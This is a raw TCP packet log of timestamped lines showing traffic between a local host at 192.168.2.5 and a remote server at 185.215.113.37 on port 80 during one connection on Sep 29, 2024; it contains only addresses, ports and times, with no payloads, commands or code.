Sep 29, 2024 02:00:16.700756073 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:16.700757980 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.700783014 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:16.700809002 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:16.701410055 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.701422930 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.701433897 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.701445103 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.701457024 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.701467991 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.701469898 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:16.701478958 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.701489925 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.701502085 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.701508045 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:16.701514006 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.701524019 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.701535940 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.701540947 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:16.701559067 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:16.701577902 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:16.737565041 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.737591028 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.737605095 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.737617016 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.737684965 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.737696886 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.737709999 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.737736940 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:16.737778902 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:16.737867117 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.737879038 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.737890959 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.737904072 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.737907887 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:16.737938881 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:16.738017082 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.738028049 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.738065004 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:16.738090992 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:16.738102913 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.738137960 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:16.738158941 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.738171101 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.738198996 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:16.738240004 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.738251925 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.738275051 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:16.738301039 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:16.738431931 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.738444090 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.738456964 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.738475084 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.738485098 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:16.738506079 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:16.738533974 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:16.738570929 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.738581896 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.738605976 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.738610983 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:16.738619089 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.738634109 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.738650084 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:16.738677025 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:16.738816977 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.738859892 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:16.785621881 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.785651922 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:16.785680056 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:16.785721064 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:16.849148989 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:16.860006094 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:17.076154947 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:17.080955029 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:17.299645901 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:17.299666882 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:17.299676895 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:17.299686909 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:17.299706936 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:17.299716949 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:17.299729109 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:17.299738884 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:17.299751043 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:17.299763918 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:17.299779892 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:17.299846888 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:17.299957991 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:17.299972057 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:17.300015926 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:17.300030947 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:17.300043106 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:17.300072908 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:17.300183058 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:17.300193071 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:17.300204039 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:17.300219059 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:17.300220966 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:17.300254107 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:17.300415039 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:17.300427914 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:17.300438881 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:17.300450087 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:17.300462008 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:17.300463915 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:17.300472975 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:17.300482988 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:17.300501108 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:17.300527096 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:17.300683022 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:17.300693989 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:17.300705910 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:17.300718069 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:17.300729036 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:17.300729990 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:17.300757885 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:17.300774097 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:17.300956964 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:17.300968885 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:17.300986052 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:17.300996065 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:17.301008940 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:17.301008940 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:17.301023006 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:17.301035881 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:17.301048040 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:17.301048040 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:17.301059961 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:17.301069021 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:17.301070929 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:17.301083088 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:17.301095963 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:17.301099062 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:17.301132917 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:17.301623106 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:17.301636934 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:17.301647902 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:17.301661015 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:17.301671982 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:17.301676035 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:17.301686049 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:17.301697969 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:17.301709890 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:17.301721096 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:17.301728010 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:17.301732063 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:17.301743984 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:17.301750898 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:17.301758051 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:17.301770926 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:17.301770926 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:17.301803112 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:17.301819086 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:17.302304983 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:17.302318096 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:17.302328110 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:17.302340031 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:17.302350044 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:17.302361012 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:17.302362919 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:17.302372932 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:17.302385092 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:17.302396059 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:17.302400112 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:17.302406073 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:17.302417040 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:17.302422047 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:17.302429914 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:17.302438974 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:17.302442074 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:17.302455902 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:17.302464008 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:17.302467108 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:17.302481890 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:17.302510023 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:17.302994013 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:17.303005934 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:17.303019047 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:17.303030014 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:17.303037882 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:17.303040981 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:17.303056955 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:17.303067923 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:17.303078890 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:17.303082943 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:17.303119898 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:17.303287029 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:17.303297997 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:17.303363085 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:17.303363085 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:17.303447962 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:17.303458929 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:17.303471088 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:17.303489923 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:17.303502083 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:17.303502083 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:17.303514957 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:17.303525925 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:17.303531885 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:17.303538084 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:17.303549051 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:17.303563118 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:17.303569078 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:17.303575039 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:17.303580046 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:17.303587914 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:17.303597927 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:17.303603888 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:17.303611040 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:17.303622007 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:17.303632975 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:17.303633928 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:17.303653002 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:17.303675890 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:17.304461956 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:17.304475069 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:17.304485083 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:17.304496050 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:17.304512024 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:17.304512024 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:17.304524899 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:17.304533005 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:17.304536104 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:17.304547071 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:17.304558039 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:17.304569960 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:17.304583073 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:17.304583073 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:17.304594994 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:17.304600954 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:17.304606915 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:17.304617882 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:17.304619074 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:17.304630995 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:17.304642916 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:17.304655075 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:17.304681063 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:17.305263996 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:17.305274963 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:17.305288076 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:17.305299044 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:17.305310011 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:17.305318117 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:17.305321932 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:17.305332899 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:17.305346966 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:17.305350065 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:17.305360079 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:17.305372000 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:17.305372953 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:17.305391073 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:17.305408955 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:17.389187098 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:17.389267921 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:17.389278889 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:17.389280081 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:17.389331102 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:17.389416933 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:17.389429092 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:17.389441013 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:17.389451981 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:17.389467001 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:17.389493942 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:17.389550924 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:17.389590025 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:17.389617920 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:17.389655113 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:17.389812946 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:17.389825106 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:17.389856100 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:17.389870882 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:17.389996052 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:17.390008926 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:17.390019894 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:17.390029907 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:17.390047073 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:17.390080929 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:17.390131950 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:17.390141964 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:17.390153885 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:17.390163898 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:17.390181065 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:17.390197992 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:17.390264034 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:17.390275002 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:17.390296936 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:17.390315056 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:17.390431881 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:17.390441895 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:17.390453100 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:17.390465975 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:17.390472889 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:17.390522957 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:17.390583038 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:17.390594959 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:17.390604973 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:17.390623093 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:17.390652895 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:17.390758038 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:17.390769958 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:17.390780926 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:17.390789986 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:17.390815973 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:17.390834093 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:17.391040087 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:17.391052008 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:17.391063929 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:17.391073942 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:17.391084909 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:17.391094923 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:17.391099930 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:17.391107082 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:17.391132116 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:17.391148090 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:17.391206980 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:17.391218901 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:17.391242981 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:17.391258955 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:17.391518116 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:17.391532898 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:17.391544104 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:17.391556025 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:17.391581059 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:17.391608953 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:17.391699076 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:17.391710997 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:17.391721964 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:17.391763926 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:17.391872883 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:17.391885996 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:17.391896963 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:17.391906977 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:17.391908884 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:17.391937017 CEST	49704	80	192.168.2.5	185.215.113.37
